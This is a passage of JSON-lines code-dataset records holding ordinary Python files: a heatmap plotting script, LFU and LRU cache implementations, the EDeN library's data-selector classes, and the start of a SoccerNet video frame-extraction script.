antibiotic\n table = table.loc[table['antibiotic'] == args.antibiotic]\n print(table) \n \n # -----------------------------------\n # plot bubble heat map\n # -----------------------------------\n plt.close('all')\n fig, ax = plt.subplots()\n\n #plt.figure(figsize=(12,7))\n \n\n heatmap(x=table['species'],\n y=table['site'],\n size=table['number of samples'],\n size_scale=1500,\n #Used to scale the size of the shapes in the\n #plot to make them fit the size of the fields in the matrix.\n #Default value is 500. You will likely need to fiddle with this\n #parameter in order to find the right value for your figure size\n #and the size range applied.\n marker='o',\n color=table['percentage positive'],\n # containing values based on which to apply the heatmap color.\n color_range=(0.0, 1.0),\n # A tuple (color_min, color_max) that enables capping the values of\n # color being mapped to palette. All color values less than color_min\n # are capped to color_min, and all color values larger than color_max\n # are capped to color_max.\n palette=sns.diverging_palette(20, 220, n=10),\n )\n plt.grid(False) # Hide grid\n plt.savefig(f'{args.outfile}')\n\n\n\nif __name__=='__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--antibiotic',\n type=str,\n default='Ciprofloxacin')\n parser.add_argument('--outfile',\n type=str,\n default='figure5_prevalence.png')\n args = parser.parse_args()\n\n plot_figure5(args)\n","sub_path":"amr_maldi_ml/plotting/deprecated/plot_fig5_site_prevalences.py","file_name":"plot_fig5_site_prevalences.py","file_ext":"py","file_size_in_byte":3995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"146141376","text":"from random import *\n\n\nres = [] \n\nfor i in range(10):\n\tp = [i,0] \n\tres.append(p)\n\t\nfor j in range(100000):\n\tnb = randint(0,9)\n\tres[nb][1] += 1\n\t\nfor k in range(len(res)):\n\tprint(res[k][0],\" : \",res[k][1],' càd ',100000/res[k][1],' %')\n\t\n\t\n\t\nfor i in range(0,10,-1):\n\tprint(i)","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"31050340","text":"import collections\n\n\nclass LFUCache:\n \"\"\"\n @param: capacity: An integer\n \"\"\"\n\n def __init__(self, capacity):\n # do intialization if necessary\n self.capacity = capacity\n self.pairs = {}\n self.freq = {}\n\n \"\"\"\n @param: key: An integer\n @param: value: An integer\n @return: nothing\n \"\"\"\n\n def set(self, key, value):\n # write your code here\n if key in self.pairs:\n return\n\n if len(self.pairs) >= self.capacity:\n minFreq = min(self.freq.values())\n deleteKey = None\n\n # PYTHON的作用域由def、class、lambda等语句产生,if、try、for等语句并不会产生新的作用域\n for k, freq in self.freq.items():\n if freq == minFreq:\n deleteKey = k\n\n del self.freq[deleteKey]\n del self.pairs[deleteKey]\n\n self.pairs[key] = value\n self.freq[key] = self.freq.get(key, 0)\n\n \"\"\"\n @param: key: An integer\n @return: An integer\n \"\"\"\n\n def get(self, key):\n # write your code here\n if key not in self.pairs:\n print(-1, end=' ')\n return -1\n\n self.freq[key] += 1\n\n print(self.pairs[key], end=' ')\n return self.pairs[key]\n\n\nlfu = LFUCache(3)\nlfu.set(2,2)\nlfu.set(1,1)\nlfu.get(2)\nlfu.get(1)\nlfu.get(2)\nlfu.set(3,3)\nlfu.set(4,4)\nlfu.get(3)\nlfu.get(2)\nlfu.get(1)\nlfu.get(4)\n\n# [2,1,2,-1,2,1,4]\n\n","sub_path":"lintcode/数据结构/24-lfu-cache.py","file_name":"24-lfu-cache.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"394763093","text":"#!/usr/bin/env python\n\nfrom collections import defaultdict\nimport random\nimport logging\nimport math\nfrom copy import deepcopy\nimport numpy as np\nfrom scipy import sparse\n\nimport pymf\nfrom sklearn.preprocessing import normalize\nfrom sklearn.metrics.pairwise import pairwise_kernels\nfrom sklearn.metrics.pairwise import pairwise_distances\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.linear_model import SGDClassifier\nfrom scipy.stats import entropy\nfrom sklearn.random_projection import SparseRandomProjection\n\nfrom eden.util import serialize_dict\n\nlogger = logging.getLogger(__name__)\n\n\n# -----------------------------------------------------------------------------\n\nclass CompositeSelector(object):\n\n \"\"\"\n Takes a list of selectors and returns the disjoint union of all selections.\n \"\"\"\n\n def __init__(self, selectors):\n self.selectors = selectors\n\n def __repr__(self):\n serial = []\n serial.append('CompositeSelector')\n serial.append('selectors [%d]:' % len(self.selectors))\n for i, selector in enumerate(self.selectors):\n if len(self.selectors) > 1:\n serial.append('%d/%d ' % (i + 1, len(self.selectors)))\n serial.append(str(selector))\n return '\\n'.join(serial)\n\n def fit(self, data_matrix, target=None):\n \"\"\"Fit all selectors on the same samples.\n\n Parameters\n ----------\n data_matrix : array-like, shape = (n_samples, n_features)\n Samples.\n\n target : array-like, shape = (n_samples)\n\n Note\n ----\n The target array can be used to store the ids of the samples.\n The selection operation is applied to the samples and the congruent targets.\n\n Returns\n -------\n self\n \"\"\"\n for selector in self.selectors:\n selector.fit(data_matrix, target)\n return self\n\n def fit_transform(self, data_matrix, target=None):\n \"\"\"Fit all selectors on the same samples and then transform, i.e. select\n a subset of samples and return the reduced data matrix.\n\n Parameters\n ----------\n data_matrix : array-like, shape = (n_samples, n_features)\n Samples.\n\n target : array-like, shape = (n_samples)\n Vector containing additional information about the samples.\n\n Note\n ----\n The target array can be used to store the ids of the samples.\n The selection operation is applied to the samples and the congruent targets.\n\n Returns\n -------\n data_matrix : array-like, shape = (n_samples_new, n_features)\n Subset of samples.\n \"\"\"\n return self.fit(data_matrix, target).transform(data_matrix, target)\n\n def transform(self, data_matrix, target=None):\n \"\"\"Select a subset of samples and return the reduced data matrix.\n\n Parameters\n ----------\n data_matrix : array-like, shape = (n_samples, n_features)\n Samples.\n\n target : array-like, shape = (n_samples)\n Vector containing additional information about the samples.\n\n Note\n ----\n The target array can be used to store the ids of the samples.\n The selection operation is applied to the samples and the congruent targets.\n\n Returns\n -------\n data_matrix : array-like, shape = (n_samples_new, n_features)\n Subset of samples.\n \"\"\"\n for selector in self.selectors:\n data_matrix_out = selector.transform(data_matrix, target=target)\n\n self._collect_selected_instances_ids()\n self._collect_target()\n data_matrix_out = self._collect_data_matrix(data_matrix)\n\n return data_matrix_out\n\n def _collect_data_matrix(self, data_matrix):\n if isinstance(data_matrix, sparse.csr_matrix):\n data_matrix_out = data_matrix[self.selected_instances_ids, :]\n else:\n data_matrix_out = data_matrix[self.selected_instances_ids]\n return data_matrix_out\n\n def _collect_selected_instances_ids(self):\n selected_instances_ids = [np.array(selector.selected_instances_ids)\n for selector in self.selectors\n if selector.selected_instances_ids is not None]\n self.selected_instances_ids = np.hstack(selected_instances_ids)\n\n def _collect_target(self):\n selected_targets = [np.array(selector.selected_targets).reshape(-1, 1)\n for selector in self.selectors\n if selector.selected_targets is not None]\n if selected_targets:\n self.selected_targets = np.vstack(selected_targets).reshape(-1, 1)\n else:\n self.selected_targets = None\n\n def randomize(self, data_matrix, amount=1.0):\n \"\"\"Set all the (hyper) parameters of the method to a random value.\n A configuration is created that is in the neighborhood of the current configuration,\n where the size of the neighborhood is parametrized by the variable 'amount'.\n\n Parameters\n ----------\n data_matrix : array-like, shape = (n_samples, n_features)\n Samples.\n\n amount : float (default 1.0)\n The size of the neighborhood of the parameters' configuration.\n A value of 0 means no change, while a value of 1.0 means that the new configuration\n can be anywhere in the parameter space.\n\n Returns\n -------\n self\n \"\"\"\n for selector in self.selectors:\n selector.randomize(data_matrix, amount=amount)\n return self\n\n def optimize(self, data_matrix, target=None, score_func=None, n_iter=20):\n \"\"\"Set the values of the (hyper) parameters so that the score_func achieves maximal value\n on data_matrix.\n\n Parameters\n ----------\n data_matrix : array-like, shape = (n_samples, n_features)\n Samples.\n\n target : array-like, shape = (n_samples)\n Vector containing additional information about the samples.\n\n score_func : callable\n Function to compute the score to maximize.\n \"\"\"\n score, index, obj_dict = max(self._optimize(self, data_matrix, target, score_func, n_iter))\n self.__dict__.update(obj_dict)\n self.score = score\n\n def _optimize(self, data_matrix, target=None, score_func=None, n_iter=None):\n for i in range(n_iter):\n self.randomize(data_matrix)\n data_matrix_out = self.fit_transform(data_matrix, target)\n score = score_func(data_matrix, data_matrix_out)\n yield (score, i, deepcopy(self.__dict__))\n\n# -----------------------------------------------------------------------------\n\n\nclass AbstractSelector(object):\n\n \"\"\"Interface declaration for the Selector classes.\"\"\"\n\n def _auto_n_instances(self, data_size):\n # TODO [fabrizio]: reconstruct Gram matrix using approximation\n # find optimal num points for a reconstruction with small error\n # trade off with a cost C (hyperparameter) to pay per point so not to choose all points\n min_n = 3\n max_n = 2 * int(math.sqrt(data_size))\n n_instances = random.randint(min_n, max_n)\n return n_instances\n\n def __repr__(self):\n serial = []\n serial.append(self.name)\n serial.append('n_instances: %d' % (self.n_instances))\n serial.append('random_state: %d' % (self.random_state))\n return '\\n'.join(serial)\n\n def fit(self, data_matrix, target=None):\n return self\n\n def fit_transform(self, data_matrix, target=None):\n return self.fit(data_matrix, target).transform(data_matrix, target)\n\n def transform(self, data_matrix, target=None):\n self.selected_instances_ids = self.select(data_matrix, target)\n if target is not None:\n self.selected_targets = np.array(target)[self.selected_instances_ids]\n else:\n self.selected_targets = None\n return data_matrix[self.selected_instances_ids]\n\n def select(self, data_matrix, target=None):\n raise NotImplementedError(\"Should have implemented this\")\n\n def randomize(self, data_matrix, amount=1.0):\n raise NotImplementedError(\"Should have implemented this\")\n\n# -----------------------------------------------------------------------------\n\n\nclass AllSelector(AbstractSelector):\n\n \"\"\"\n Transform a set of sparse high dimensional vectors to a smaller set.\n Selection is performed choosing all instances as landmarks.\n \"\"\"\n\n def __init__(self, n_instances=None, random_state=1):\n self.name = 'AllSelector'\n self.n_instances = n_instances\n self.random_state = random_state\n\n def __repr__(self):\n serial = []\n serial.append(self.name)\n if self.n_instances:\n serial.append('n_instances: %d' % (self.n_instances))\n else:\n serial.append('n_instances: all')\n serial.append('random_state: %d' % (self.random_state))\n return '\\n'.join(serial)\n\n def select(self, data_matrix, target=None):\n self.n_instances = data_matrix.shape[0]\n selected_instances_ids = list(range(self.n_instances))\n return selected_instances_ids\n\n # -----------------------------------------------------------------------------\n\n\nclass SparseSelector(AbstractSelector):\n\n \"\"\"\n Transform a set of sparse high dimensional vectors to a smaller set.\n Selection is performed choosing instances that maximizes instances pairwise difference.\n \"\"\"\n\n def __init__(self, n_instances=20, random_state=1, metric='rbf', **kwds):\n self.name = 'SparseSelector'\n self.n_instances = n_instances\n self.metric = metric\n self.kwds = kwds\n self.random_state = random_state\n\n def __repr__(self):\n serial = []\n serial.append(self.name)\n serial.append('n_instances: %d' % (self.n_instances))\n serial.append('metric: %s' % (self.metric))\n if self.kwds is None or len(self.kwds) == 0:\n pass\n else:\n serial.append('params:')\n serial.append(serialize_dict(self.kwds))\n serial.append('random_state: %d' % (self.random_state))\n return '\\n'.join(serial)\n\n def select(self, data_matrix, target=None):\n # extract difference matrix\n kernel_matrix = pairwise_kernels(data_matrix, metric=self.metric, **self.kwds)\n # set minimum value\n m = - 1\n # set diagonal to 0 to remove self similarity\n np.fill_diagonal(kernel_matrix, 0)\n # iterate size - k times, i.e. until only k instances are left\n for t in range(data_matrix.shape[0] - self.n_instances):\n # find pairs with largest kernel\n (max_i, max_j) = np.unravel_index(np.argmax(kernel_matrix), kernel_matrix.shape)\n # choose one instance at random\n if random.random() > 0.5:\n id = max_i\n else:\n id = max_j\n # remove instance with highest score by setting all its pairwise similarity to min value\n kernel_matrix[id, :] = m\n kernel_matrix[:, id] = m\n # extract surviving elements, i.e. element that have 0 on the diagonal\n selected_instances_ids = np.array(\n [i for i, x in enumerate(np.diag(kernel_matrix)) if x == 0])\n return selected_instances_ids\n\n def randomize(self, data_matrix, amount=1.0):\n random.seed(self.random_state)\n self.n_instances = self._auto_n_instances(data_matrix.shape[0])\n self.metric = 'rbf'\n self.kwds = {'gamma': random.choice([10 ** x for x in range(-3, 3)])}\n self.random_state = self.random_state ^ random.randint(1, 1e9)\n\n# -----------------------------------------------------------------------------\n\n\nclass MaxVolSelector(AbstractSelector):\n\n \"\"\"\n Transform a set of sparse high dimensional vectors to a smaller set.\n Selection is performed choosing instances that maximizes the volume of the convex hull.\n \"\"\"\n\n def __init__(self, n_instances=20, random_state=1):\n self.name = 'MaxVolSelector'\n self.n_instances = n_instances\n self.random_state = random_state\n random.seed(random_state)\n\n def __repr__(self):\n serial = []\n serial.append(self.name)\n serial.append('n_instances: %d' % (self.n_instances))\n serial.append('random_state: %d' % (self.random_state))\n return '\\n'.join(serial)\n\n def select(self, data_matrix, target=None):\n if sparse.issparse(data_matrix):\n data_matrix = SparseRandomProjection().fit_transform(data_matrix).toarray()\n mf = pymf.SIVM(data_matrix.T, num_bases=self.n_instances)\n mf.factorize()\n basis = mf.W.T\n selected_instances_ids = self._get_ids(data_matrix, basis)\n return selected_instances_ids\n\n def _get_ids(self, data_matrix, selected):\n diffs = pairwise_distances(data_matrix, selected)\n selected_instances_ids = [i for i, diff in enumerate(diffs) if 0 in diff]\n return selected_instances_ids\n\n def randomize(self, data_matrix, amount=1.0):\n random.seed(self.random_state)\n self.n_instances = self._auto_n_instances(data_matrix.shape[0])\n self.random_state = self.random_state ^ random.randint(1, 1e9)\n\n# -----------------------------------------------------------------------------\n\n\nclass OnionSelector(AbstractSelector):\n\n \"\"\"\n Transform a set of sparse high dimensional vectors to a smaller set.\n Selection is performed choosing instances that maximizes the volume of the convex hull,\n removing them from the set, iterating the procedure n_layers times and then returning\n the instances forming the convex hull of the remaining dataset.\n \"\"\"\n\n def __init__(self, n_instances=20, n_layers=1, random_state=1):\n self.name = 'OnionSelector'\n self.n_instances = n_instances\n self.n_layers = n_layers\n self.random_state = random_state\n random.seed(random_state)\n\n def __repr__(self):\n serial = []\n serial.append(self.name)\n serial.append('n_instances: %d' % (self.n_instances))\n serial.append('n_layers: %d' % (self.n_layers))\n serial.append('random_state: %d' % (self.random_state))\n return '\\n'.join(serial)\n\n def transform(self, data_matrix, target=None):\n if sparse.issparse(data_matrix):\n data_matrix = SparseRandomProjection().fit_transform(data_matrix).toarray()\n current_data_matrix = data_matrix\n current_target = target\n self.selected_instances_ids = np.array(range(data_matrix.shape[0]))\n self.selected_targets = None\n for i in range(self.n_layers):\n selected_instances_ids = self.select_layer(current_data_matrix)\n # remove selected instances from data matrix\n ids = set(range(current_data_matrix.shape[0]))\n remaining_ids = list(ids.difference(selected_instances_ids))\n if len(remaining_ids) == 0:\n break\n remaining_ids = np.array(remaining_ids)\n current_data_matrix = current_data_matrix[remaining_ids]\n self.selected_instances_ids = self.selected_instances_ids[remaining_ids]\n if current_target is not None:\n current_target = current_target[remaining_ids]\n selected_instances_ids = self.select_layer(current_data_matrix)\n if current_target is not None:\n self.selected_targets = current_target[selected_instances_ids]\n self.selected_instances_ids = self.selected_instances_ids[selected_instances_ids]\n return current_data_matrix[selected_instances_ids]\n\n def select_layer(self, data_matrix):\n mf = pymf.SIVM(data_matrix.T, num_bases=self.n_instances)\n mf.factorize()\n basis = mf.W.T\n selected_instances_ids = self._get_ids(data_matrix, basis)\n return selected_instances_ids\n\n def _get_ids(self, data_matrix, selected):\n diffs = pairwise_distances(data_matrix, selected)\n selected_instances_ids = [i for i, diff in enumerate(diffs) if 0 in diff]\n return selected_instances_ids\n\n def randomize(self, data_matrix, amount=1.0):\n random.seed(self.random_state)\n self.n_instances = self._auto_n_instances(data_matrix.shape[0])\n max_n_layers = min(5, data_matrix.shape[0] / (self.n_instances + 1))\n self.n_layers = random.randint(1, max_n_layers)\n self.random_state = self.random_state ^ random.randint(1, 1e9)\n\n# -----------------------------------------------------------------------------\n\n\nclass EqualizingSelector(AbstractSelector):\n\n \"\"\"\n Transform a set of sparse high dimensional vectors to a smaller set.\n Selection is performed clustering via the supplied algorithm and then\n choosing instances uniformly at random from each cluster.\n \"\"\"\n\n def __init__(self, n_instances=20, clustering_algo=None, random_state=1, **kwds):\n self.name = 'EqualizingSelector'\n self.n_instances = n_instances\n self.clustering_algo = clustering_algo(**kwds)\n self.kwds = kwds\n self.random_state = random_state\n random.seed(random_state)\n\n def select(self, data_matrix, target=None):\n # extract clusters\n class_ids = self.clustering_algo.fit_predict(data_matrix)\n # select same number per cluster uniformly at random with resampling if small size\n n_classes = len(set(class_ids))\n n_instances_per_cluster = int(self.n_instances / n_classes)\n instances_class_ids = [(c, i) for i, c in enumerate(class_ids)]\n random.shuffle(instances_class_ids)\n class_counter = defaultdict(int)\n selected_instances_ids = []\n for c, i in instances_class_ids:\n class_counter[c] += 1\n if class_counter[c] <= n_instances_per_cluster:\n selected_instances_ids.append(i)\n return selected_instances_ids\n\n def randomize(self, data_matrix, amount=1.0):\n random.seed(self.random_state)\n self.n_instances = self._auto_n_instances(data_matrix.shape[0])\n self.random_state = self.random_state ^ random.randint(1, 1e9)\n # TODO: randomize clustering algorithm\n\n# -----------------------------------------------------------------------------\n\n\nclass QuickShiftSelector(AbstractSelector):\n\n \"\"\"\n Transform a set of sparse high dimensional vectors to a smaller set.\n Selection is performed finding all parent instances as the nearest neighbor that\n has a higher density. Density is defined as the average kernel value for the instance.\n The n_instances with highest parent-instance norm are returned.\n \"\"\"\n\n def __init__(self, n_instances=20, random_state=1, metric='rbf', **kwds):\n self.name = 'QuickShiftSelector'\n self.n_instances = n_instances\n self.random_state = random_state\n self.metric = metric\n self.kwds = kwds\n\n def __repr__(self):\n serial = []\n serial.append(self.name)\n serial.append('n_instances: %d' % (self.n_instances))\n serial.append('metric: %s' % (self.metric))\n if self.kwds is None or len(self.kwds) == 0:\n pass\n else:\n serial.append('params:')\n serial.append(serialize_dict(self.kwds))\n serial.append('random_state: %d' % (self.random_state))\n return '\\n'.join(serial)\n\n def select(self, data_matrix, target=None):\n # compute parent relationship\n self.parent_ids = self.parents(data_matrix, target=target)\n # compute norm of parent-instance vector\n # compute parent vectors\n parents = data_matrix[self.parent_ids]\n # compute difference\n diffs = np.diag(pairwise_distances(data_matrix, Y=parents))\n # sort from largest distance to smallest\n parent_distance_sorted_ids = list(np.argsort(-diffs))\n selected_instances_ids = []\n # add root (i.e. instance with distance 0 from parent)\n selected_instances_ids = [parent_distance_sorted_ids[-1]] + \\\n parent_distance_sorted_ids[:self.n_instances - 1]\n return selected_instances_ids\n\n def parents(self, data_matrix, target=None):\n data_size = data_matrix.shape[0]\n kernel_matrix = pairwise_kernels(data_matrix, metric=self.metric, **self.kwds)\n # compute instance density as 1 over average pairwise distance\n density = np.sum(kernel_matrix, 0) / data_size\n # compute list of nearest neighbors\n kernel_matrix_sorted = np.argsort(-kernel_matrix)\n # make matrix of densities ordered by nearest neighbor\n density_matrix = density[kernel_matrix_sorted]\n # if a denser neighbor cannot be found then assign parent to the instance itself\n parent_ids = list(range(density_matrix.shape[0]))\n # for all instances determine parent link\n for i, row in enumerate(density_matrix):\n i_density = row[0]\n # for all neighbors from the closest to the furthest\n for jj, d in enumerate(row):\n j = kernel_matrix_sorted[i, jj]\n if jj > 0:\n j_density = d\n # if the density of the neighbor is higher than the density of the instance assign parent\n if j_density > i_density:\n parent_ids[i] = j\n break\n return parent_ids\n\n def randomize(self, data_matrix, amount=1.0):\n random.seed(self.random_state)\n self.n_instances = self._auto_n_instances(data_matrix.shape[0])\n self.metric = 'rbf'\n self.kwds = {'gamma': random.choice([10 ** x for x in range(-3, 3)])}\n self.random_state = self.random_state ^ random.randint(1, 1e9)\n\n# -----------------------------------------------------------------------------\n\n\nclass DensitySelector(AbstractSelector):\n\n \"\"\"\n Transform a set of sparse high dimensional vectors to a smaller set.\n Selection is performed sorting according to the instance density and\n taking instances uniformly distributed in the sorted list (i.e. from\n the instance with maximal density to the instance with the lowest density).\n The density is computed as the average kernel.\n \"\"\"\n\n def __init__(self, n_instances=20, percentile=0.75, random_state=1, metric='rbf', **kwds):\n self.name = 'DensitySelector'\n self.n_instances = n_instances\n self.percentile = percentile\n self.random_state = random_state\n self.metric = metric\n self.kwds = kwds\n self.selected_targets = None\n\n def __repr__(self):\n serial = []\n serial.append(self.name)\n serial.append('n_instances: %d' % (self.n_instances))\n serial.append('percentile: %.2f' % (self.percentile))\n serial.append('metric: %s' % (self.metric))\n if self.kwds is None or len(self.kwds) == 0:\n pass\n else:\n serial.append('params:')\n serial.append(serialize_dict(self.kwds))\n serial.append('random_state: %d' % (self.random_state))\n return '\\n'.join(serial)\n\n def select(self, data_matrix, target=None):\n # select most dense instances\n densities = self._density_func(data_matrix, target)\n # select the instances for equally spaced intervals in the list sorted by density\n sorted_instances_ids = sorted([(prob, i) for i, prob in enumerate(densities)], reverse=True)\n n_instances_tot = int(data_matrix.shape[0] * (1 - self.percentile))\n step = max(1, int(n_instances_tot / self.n_instances))\n selected_instances_ids = [i for prob, i in sorted_instances_ids[:n_instances_tot:step]]\n return selected_instances_ids\n\n def _density_func(self, data_matrix, target=None):\n kernel_matrix = pairwise_kernels(data_matrix, metric=self.metric, **self.kwds)\n # compute instance density as average pairwise similarity\n densities = np.mean(kernel_matrix, 0)\n return densities\n\n def randomize(self, data_matrix, amount=1.0):\n random.seed(self.random_state)\n self.n_instances = self._auto_n_instances(data_matrix.shape[0])\n self.percentile = random.uniform(0.5, 0.9)\n self.metric = 'rbf'\n self.kwds = {'gamma': random.choice([10 ** x for x in range(-3, 3)])}\n self.random_state = self.random_state ^ random.randint(1, 1e9)\n\n# -----------------------------------------------------------------------------\n\n\nclass DecisionSurfaceSelector(AbstractSelector):\n\n \"\"\"\n Transform a set of sparse high dimensional vectors to a smaller set.\n Selection is performed sampling according to the inverse of the ROC score.\n \"\"\"\n\n def __init__(self, n_instances=20,\n estimator=SGDClassifier(average=True, class_weight='balanced', shuffle=True),\n random_state=1,\n randomized=False):\n self.name = 'DecisionSurfaceSelector'\n self.n_instances = n_instances\n self.estimator = estimator\n self.random_state = random_state\n self.randomized = randomized\n\n def __repr__(self):\n serial = []\n serial.append(self.name)\n serial.append('n_instances: %d' % (self.n_instances))\n serial.append('estimator: %s' % str(self.estimator))\n serial.append('random_state: %d' % (self.random_state))\n return '\\n'.join(serial)\n\n def _logistic_function(self, xs, ell=1, k=1, x0=0):\n _max_x = 100\n _min_x = -_max_x\n vals = []\n for x in xs:\n if x > _max_x:\n x = _max_x\n if x < _min_x:\n x = _min_x\n val = ell / (1 + math.exp(-k * (x - x0)))\n vals.append(val)\n return np.array(vals).reshape(1, -1)\n\n def select(self, data_matrix, target=None):\n if target is None:\n raise Exception('target cannot be None')\n # select maximally ambiguous or unpredictable instances\n probabilities = self._probability_func(data_matrix, target)\n self.scores = probabilities\n if self.randomized:\n # select instances according to their probability\n selected_instances_ids = [self._sample(probabilities) for i in range(self.n_instances)]\n else:\n # select the instances with highest probability\n selected_instances_ids = sorted([(prob, i) for i, prob in enumerate(probabilities)], reverse=True)\n selected_instances_ids = [i for prob, i in selected_instances_ids[:self.n_instances]]\n return selected_instances_ids\n\n def _probability_func(self, data_matrix, target=None):\n # select maximally ambiguous (max entropy) or unpredictable instances\n self.estimator.fit(data_matrix, target)\n decision_function = getattr(self.estimator, \"decision_function\", None)\n if decision_function and callable(decision_function):\n preds = self.estimator.decision_function(data_matrix)\n x0 = 0\n else:\n predict_proba = getattr(self.estimator, \"predict_proba\", None)\n if predict_proba and callable(predict_proba):\n preds = self.estimator.predict_proba(data_matrix)\n x0 = 0.5\n else:\n raise Exception('Estimator seems to lack a decision_function or predict_proba method.')\n # Note: use -entropy to sort from max entropy to min entropy\n entropies = []\n for p in preds:\n ps = self._logistic_function(p, x0=x0)\n nps = normalize(ps, norm='l1').reshape(-1, 1)\n e = - entropy(nps)\n entropies.append(e)\n # normalize to obtain probabilities\n probabilities = entropies / sum(entropies)\n return probabilities\n\n def randomize(self, data_matrix, amount=1.0):\n random.seed(self.random_state)\n self.n_instances = self._auto_n_instances(data_matrix.shape[0])\n algo = random.choice(['SGDClassifier', 'KNeighborsClassifier'])\n kwds = dict()\n if algo == 'SGDClassifier':\n self.estimator = SGDClassifier(average=True, class_weight='balanced', shuffle=True)\n kwds = dict(n_iter=random.randint(5, 200),\n penalty=random.choice(['l1', 'l2', 'elasticnet']),\n l1_ratio=random.uniform(0.1, 0.9),\n loss=random.choice(['hinge', 'log', 'modified_huber', 'squared_hinge', 'perceptron']),\n power_t=random.uniform(0.1, 1),\n alpha=random.choice([10 ** x for x in range(-8, 0)]),\n eta0=random.choice([10 ** x for x in range(-4, -1)]),\n learning_rate=random.choice([\"invscaling\", \"constant\", \"optimal\"]))\n if algo == 'KNeighborsClassifier':\n self.estimator = KNeighborsClassifier()\n kwds = dict(n_neighbors=random.randint(3, 100))\n self.estimator.set_params(**kwds)\n self.random_state = self.random_state ^ random.randint(1, 1e9)\n","sub_path":"EDeN/eden/selector.py","file_name":"selector.py","file_ext":"py","file_size_in_byte":29176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"607628748","text":"# -*- coding: utf-8 -*-\n\nfrom datetime import datetime\nimport threading\nimport inspect\nfrom collections import OrderedDict\nfrom functools import update_wrapper\n\nmissing = None\n\n\ndef gen_keygenerator(namespace, func):\n args = inspect.getargspec(func)\n prefix = \"{}:{}|{}\".format(func.__module__, func.__name__, namespace)\n has_self = args[0] and args[0][0] in (\"self\", \"cls\")\n\n def generate_key(*args, **kw):\n if has_self:\n args = args[1:]\n tuples = sorted(kw.iteritems())\n return \"{}|{}{}\".format(prefix, args, tuples)\n\n return generate_key, has_self\n\n\nclass Entry(object):\n\n def __init__(self, key, value):\n self.key = key\n self.value = value\n self.updated_at = datetime.now()\n\n\nclass LRUCache(object):\n\n def __init__(self, expiration=3600, limit=1000, entry_factory=Entry):\n self.table = OrderedDict()\n self.expiration = expiration\n self.limit = limit\n self.entry_factory = entry_factory\n self.mutex = threading.RLock()\n\n def get(self, key):\n with self.mutex:\n entry = self.table.pop(key, missing)\n if entry is not missing:\n delta = datetime.now() - entry.updated_at\n if delta.total_seconds() <= self.expiration:\n self.check()\n self.table[key] = entry\n return entry.value\n\n return missing\n\n def set(self, key, value):\n with self.mutex:\n entry = self.table.pop(key, missing)\n if entry is missing:\n entry = self.entry_factory(key, value)\n else:\n entry.value = value\n self.check()\n self.table[key] = entry\n\n def delete(self, key):\n with self.mutex:\n return self.table.pop(key, missing) is not missing\n\n def check(self):\n if len(self.table) >= self.limit:\n self.table.pop(next(iter(self.table)))\n\n def flush(self):\n self.table = OrderedDict()\n\n\ndef lru_cache_deco(expiration, limit=1000, entry_factory=Entry,\n namespace=None):\n cache = LRUCache(expiration=expiration, limit=limit,\n entry_factory=entry_factory)\n\n def decorator(func):\n generate_key, has_self = gen_keygenerator(namespace, func)\n\n def flush(*args, **kwargs):\n if has_self:\n key = generate_key(None, *args, **kwargs)\n else:\n key = generate_key(*args, **kwargs)\n return cache.delete(key)\n func.flush = flush\n\n def wrapper(*args, **kwargs):\n key = generate_key(*args, **kwargs)\n value = cache.get(key)\n if value is missing:\n value = func(*args, **kwargs)\n cache.set(key, value)\n return value\n\n return update_wrapper(wrapper, func)\n\n return decorator\n","sub_path":"elru/lru.py","file_name":"lru.py","file_ext":"py","file_size_in_byte":2915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"537311904","text":"import os, json, argparse\r\nfrom ffmpy import FFmpeg\r\nfrom os import path as osp\r\n\r\n\r\noutputExtension = \".jpg\"\r\n\r\nsoccernetClassesFile = open(\"classes_conversion.json\")\r\nsoccernetClassesJson = json.load(soccernetClassesFile)\r\nsoccernetClassesFile.close()\r\nclassesDurationFile = open(\"classes_duration.json\")\r\nclassesDurationJson = json.load(classesDurationFile)\r\nclassesDurationFile.close()\r\n\r\ndef parse_args():\r\n parser = argparse.ArgumentParser(description='Extract frames from full videos given labels annotation')\r\n parser.add_argument(\r\n 'root',\r\n type=str,\r\n help='Folder containing the environment. eg. home/opekta/copaeurope'\r\n )\r\n parser.add_argument(\r\n 'dataset',\r\n type=str,\r\n help='Name of the dataset'\r\n )\r\n parser.add_argument(\r\n 'source',\r\n type=str,\r\n help='Folder of the full videos'\r\n )\r\n return(parser.parse_args())\r\n\r\ndef findShotAction(jsonAnnotation, halfTime, timingValue):\r\n for annotation in jsonAnnotation['annotations']:\r\n if annotation['visibility'] == \"not shown\":\r\n continue\r\n classe = getClasse(annotation)\r\n if (classe in ['FreeKick', 'Penalty']):\r\n actionTimeValue = 60*int(annotation['gameTime'][4:6]) + int(annotation['gameTime'][7:9])\r\n if (halfTime == annotation['gameTime'][0]) & (abs(actionTimeValue - timingValue) <= 1):\r\n return True\r\n return False\r\n\r\ndef followedByAGoal(jsonAnnotation, halfTime, timingValue):\r\n for annotation in jsonAnnotation['annotations']:\r\n if annotation['visibility'] == \"not shown\":\r\n continue\r\n classe = getClasse(annotation)\r\n if (classe == 'Goal'):\r\n actionTimeValue = 60*int(annotation['gameTime'][4:6]) + int(annotation['gameTime'][7:9])\r\n if ((halfTime == annotation['gameTime'][0]) & (abs(actionTimeValue - timingValue) <= 2)):\r\n return True\r\n return False\r\n\r\n\r\ndef getClasse(annotation):\r\n if annotation['label'] in soccernetClassesJson['classes']:\r\n return annotation['label']\r\n if annotation['label'] in soccernetClassesJson['conversion']:\r\n return soccernetClassesJson['conversion'][annotation['label']]\r\n return None\r\n\r\n\r\ndef main():\r\n\r\n args=parse_args()\r\n rootPath=args.root\r\n dataset=args.dataset\r\n sourceVideos=args.source\r\n\r\n rootPath = \"/home/opekta/copaeurope/\"\r\n dataset='soccernet'\r\n labelsPath = osp.join(rootPath, \"mmaction2/data/\"+dataset+\"/labels\")\r\n targetRawframesFolder = osp.join(rootPath, 